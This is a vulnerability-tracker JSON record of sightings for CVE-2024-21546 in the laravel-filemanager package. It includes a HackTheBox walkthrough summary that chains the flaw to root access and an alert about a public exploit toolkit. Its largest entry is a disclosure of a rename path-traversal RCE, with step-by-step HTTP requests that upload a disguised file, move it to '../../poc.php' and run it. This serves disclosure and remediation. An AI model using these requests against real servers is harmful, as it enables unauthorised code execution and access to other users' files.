{"vulnerability": "CVE-2024-21546", "sightings": [{"uuid": "fc27051d-25fc-47bf-8412-2523be1e1405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113672352761248225", "content": "", "creation_timestamp": "2024-12-18T06:14:13.540836Z"}, {"uuid": "fd02ece8-d4f0-47fb-b053-ac4ac9a39ab3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "seen", "source": "https://t.me/cvedetector/13167", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-21546 - Laravel Filemanager PHP File Execution\", \n  \"Content\": \"CVE ID : CVE-2024-21546 \nPublished : Dec. 18, 2024, 6:15 a.m. | 24\u00a0minutes ago \nDescription : Versions of the package unisharp/laravel-filemanager before 2.9.1 are vulnerable to Remote Code Execution (RCE) through using a valid mimetype and inserting the . character after the php file extension. This allows the attacker to execute malicious code. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T07:50:22.000000Z"}, {"uuid": "256a347e-fc54-408a-b4aa-b8eca4190d1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "published-proof-of-concept", "source": "Telegram/YaDf5xJ3685njZbA_KRVppFbIpFzplLD7yW1OQGHI6Xa2lo", "content": "", "creation_timestamp": "2025-05-05T21:02:56.000000Z"}, {"uuid": "973f27ea-fcf3-42d4-a7f9-45450df7d62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "seen", "source": "https://t.me/bagl3y_notes/134", "content": "\ud83c\udd95 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0447\u043a\u0438 HTB (HackTheBox) \u043e\u0442 ippsec'a\n\n\u2049\ufe0f \u041d\u0430 \u0441\u0442\u0430\u0440\u0442\u0435 \u0443 \u043d\u0430\u0441 Laravel \u0432 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435  (\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2024-52301) \u27a1\ufe0f \u043f\u043e \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 grep.app \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 package - UniSharp\u2019s Laravel Filemanager (\u0441\u043e \u0441\u0432\u043e\u0435\u0439 CVE-2024-21546, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE) \u27a1\ufe0f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c Keyvault, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f gpg \u27a1\ufe0f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f env_keep+=\"ENV BASH_ENV\" \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root\n\n#\ufe0f\u20e3 \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Environment, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Medium    \n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\u2754 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430\n\n#video #HTB #ippsec #0xdf #Walkthroughs", "creation_timestamp": "2026-08-04T14:00:25.073004Z"}, {"uuid": "7011444f-f99c-4692-8007-6fcff5b46da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "published-proof-of-concept", "source": "https://t.me/bagl3y_notes/134", "content": "\ud83c\udd95 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0447\u043a\u0438 HTB (HackTheBox) \u043e\u0442 ippsec'a\n\n\u2049\ufe0f \u041d\u0430 \u0441\u0442\u0430\u0440\u0442\u0435 \u0443 \u043d\u0430\u0441 Laravel \u0432 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435  (\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2024-52301) \u27a1\ufe0f \u043f\u043e \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 grep.app \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 package - UniSharp\u2019s Laravel Filemanager (\u0441\u043e \u0441\u0432\u043e\u0435\u0439 CVE-2024-21546, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE) \u27a1\ufe0f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c Keyvault, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f gpg \u27a1\ufe0f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f env_keep+=\"ENV BASH_ENV\" \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root\n\n#\ufe0f\u20e3 \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Environment, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Medium    \n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\u2754 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430\n\n#video #HTB #ippsec #0xdf #Walkthroughs", "creation_timestamp": "2026-08-06T00:00:39.503919Z"}, {"uuid": "a7eae4ef-8448-4048-ad5f-d71c8cf53464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100919", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-21546\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a digitalsurgn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-03 11:05:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository contains security assessment tooling, detection templates, and an automated exploit toolkit for identifying and exploiting Unauthenticated Remote Code Execution (RCE) in applications utilizing the `UniSharp/laravel-filemanager` package (Versions `< 2.9.1`).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-03T12:00:05.898830Z"}, {"uuid": "6b253435-4954-4fa7-b513-6d9d5178f211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "published-proof-of-concept", "source": "Telegram/YUSQnHRGPoy1hnFlMACvlx_l4ArB_dfPL6N2OZrh3RVUvk4", "content": "", "creation_timestamp": "2026-09-03T22:00:06.759041Z"}, {"uuid": "1d16eed8-4d94-46f6-aff8-ce0bada7bdbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/95a849d259b0a1f9542888119faa845d", "content": "# laravel-filemanager Rename Path Traversal Remote Code Execution (v2.15.1)\n\n**CWE-22 \u00b7 Authenticated path traversal in rename \u00b7 Arbitrary file move with attacker-controlled extension, leading to remote code execution on default configuration**\n\n> **Vendor:** UniSharp (https://github.com/UniSharp)\n> **Product:** laravel-filemanager (Laravel package, https://github.com/UniSharp/laravel-filemanager)\n> **Affected version:** 2.15.1 (commit 28b491d, master as of 2026-09-28); within-root impact present in all versions\n> **Affected endpoints:** GET /filemanager/rename (route `lfm.rename`, default middleware `['web','auth']`)\n> **Disclosed via:** VulDB (submission #xxxxxx)\n> **Note:** Validation used only a harmless md5 marker payload; no credentials were extracted, and no sensitive values appear in this disclosure.\n\n## 1. Summary\n\nThe rename endpoint of laravel-filemanager accepts `working_dir`, `file` and `new_name` straight from the request and builds the destination path by raw concatenation, with no `..` filtering, `basename()` or `realpath()` anywhere in `src/`. The default configuration disables both `alphanumeric_filename` and `alphanumeric_directory` validation, and rename never re-applies the upload-side extension/mime checks. Any authenticated LFM user can therefore move an uploaded file into any directory inside the storage disk \u2014 including the web-served storage root \u2014 and choose an arbitrary extension, e.g. rename an uploaded `poc.pdf` to `../../poc.php`, which executes as PHP under the web root: authenticated remote code execution on a stock install.\n\nThis issue is distinct from the package's previously published advisories: **CVE-2022-40734** covers a path traversal in the *download* endpoint (arbitrary file read via `DownloadController`), and **CVE-2024-21546** covers a trailing-dot extension bypass in the *upload* endpoint (fixed in 2.9.1). Neither addresses the rename endpoint's arbitrary *move* with controlled extension, and v2.15.1 still contains zero `..` sanitization in `src/`.\n\n## 2. Root Cause\n\n| File | Line | Role |\n|---|---|---|\n| `src/Controllers/RenameController.php` | 17-18 | `old_name = helper->input('file')`, `new_name = helper->input('new_name')` \u2014 raw request input |\n| `src/Lfm.php` | 31-34 | `input()` returns raw request input, no sanitization |\n| `src/Controllers/RenameController.php` | 39-58 | `alphanumeric_filename`/`alphanumeric_directory` validation block \u2014 skipped entirely (both default to `false`) |\n| `src/Controllers/RenameController.php` | 63 | existence check `setName($new_name)->exists()` returns `false` for a free traversal target, so the flow proceeds |\n| `src/LfmPath.php` | 71-91, 181-198 | `path('storage')` = `getCategoryName() . normalizeWorkingDir()`; `normalizeWorkingDir()` concatenates raw `working_dir` + raw `new_name`. No `..`/`basename()`/`realpath()` filtering anywhere in `src/` |\n| `src/LfmStorageRepository.php` | 33 | sink: `$this->disk->move($this->path, $new_lfm_path->path('storage'))` \u2014 raw paths to the Flysystem disk |\n\n## 3. Prerequisites\n\n- Any authenticated LFM-enabled account (low-privilege; default middleware `['web','auth']`).\n- Package defaults (`config/lfm.php` not published): `alphanumeric_filename=false`, `alphanumeric_directory=false`, `should_validate_mime=true`, blocklist `php`/`html`.\n- A web-writable target served with PHP handling \u2014 the default `public/storage` symlink exposes the `public` disk root at `/storage`.\n- Version boundary: arbitrary move **within** the storage root (sufficient for the RCE chain) works on every version including 2.15.1 on Flysystem v2/v3. Writing **outside** the storage root additionally requires Flysystem v1 stacks (Laravel 8 and earlier), because Flysystem v2/v3 raise `PathTraversalDetected`. The demonstrated RCE does not leave the disk root.\n\n## 4. Reproduction\n\n1) Upload a PDF-wrapped PHP marker (passes the default `application/pdf` mime whitelist; a direct `.php` upload is correctly rejected \u2014 rename is the bypass that never re-validates):\n\n```http\nPOST /filemanager/upload?type=file HTTP/1.1\nHost: target\nCookie: \nX-XSRF-TOKEN: \nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"upload\"; filename=\"poc.pdf\"\nContent-Type: application/pdf\n\n%PDF-1.4\n\n%%EOF\n------poc--\n```\n\n2) Rename with `..` traversal \u2014 escape the private folder and switch the extension to `.php` in one step:\n\n```http\nGET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php HTTP/1.1\nHost: target\nCookie: \n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nOK\n```\n\nResult on disk: `storage/app/public/files/1/poc.pdf` is gone; `storage/app/public/poc.php` exists (web-served via the `public/storage` symlink).\n\n3) Trigger execution:\n\n```http\nGET /storage/poc.php HTTP/1.1\nHost: target\n```\n\n```http\nHTTP/1.1 200 OK\n\n%PDF-1.4\nLFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864%%EOF\n```\n\n`md5(\"poc\")` = `302fac1d6d73cf4fdf2c9919195df864` \u2014 attacker-uploaded content now executes as PHP under the web root. Scripted version: `poc/exploit.sh` (payload builder: `poc/make-payload.sh`).\n\n## 5. Confirmed Techniques\n\nVerified end-to-end on a stock install (laravel/framework 13.33.0, league/flysystem 3.36.0, PHP 8.4.26, package v2.15.1 byte-identical to commit 28b491d, default config):\n\n- Direct `.php` upload is blocked (`\"Invalid file detected\"`) \u2014 upload validation works; the `%PDF-1.4`-wrapped marker passes as `application/pdf`.\n- `GET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php` \u2192 HTTP 200; file moved to the disk root with `.php` extension, no re-validation; `GET /storage/poc.php` echoed `LFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864` = `md5(\"poc\")` \u2014 authenticated RCE.\n- Cross-user arbitrary move: `new_name=../2/planted-by-user1.php` (as user 1) wrote into user 2's private folder with an attacker-chosen name/extension (HTTP 200).\n- Cross-user listing via the same unvalidated `working_dir`: `GET /filemanager/jsonitems?type=file&working_dir=/1/../2` (as user 1) returned user 2's items \u2014 `MultiUser` middleware checks `working_dir` with `Str::startsWith()` only.\n- Root-escape probe `new_name=../../../../escape-target.txt` \u2192 HTTP 500, `League\\Flysystem\\PathTraversalDetected` on Flysystem v3; no write above the disk root. Root escape therefore requires Flysystem v1 (Laravel 8 and earlier / older LFM versions without the `flysystem >=2.0.0` composer floor that v2.15.1 has).\n\n## 6. Impact\n\nAny authenticated LFM user can plant attacker-controlled content as an arbitrary `.php` file inside the web-served storage root of a default installation, achieving remote code execution with the privileges of the web server user (low-privilege account required \u2014 `PR:L`). The same primitive enables cross-user arbitrary file moves (integrity), and on Flysystem v1 stacks extends to writes outside the storage root. Validation used a harmless marker payload only; no credentials or sensitive data were extracted.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (Base 8.8 \u2014 High)\n\n## 8. Remediation\n\n1. Normalize path segments and reject any `..` component inside `LfmPath::normalizeWorkingDir()` and `LfmPath::setName()` before any storage operation.\n2. Re-apply the upload extension/mime validation to `new_name` in `RenameController` before `move()`.\n3. Fix `MultiUser`'s `working_dir` check (normalize before comparing instead of `Str::startsWith()`).\n\n## 9. References\n\n- Project: https://github.com/UniSharp/laravel-filemanager\n- CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): https://cwe.mitre.org/data/definitions/22.html\n- Related but distinct \u2014 CVE-2022-40734 (download-endpoint read traversal): https://www.cve.org/CVERecord?id=CVE-2022-40734\n- Related but distinct \u2014 CVE-2024-21546 (upload-endpoint trailing-dot extension bypass, fixed 2.9.1): https://www.cve.org/CVERecord?id=CVE-2024-21546\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:12:58.000000Z"}]}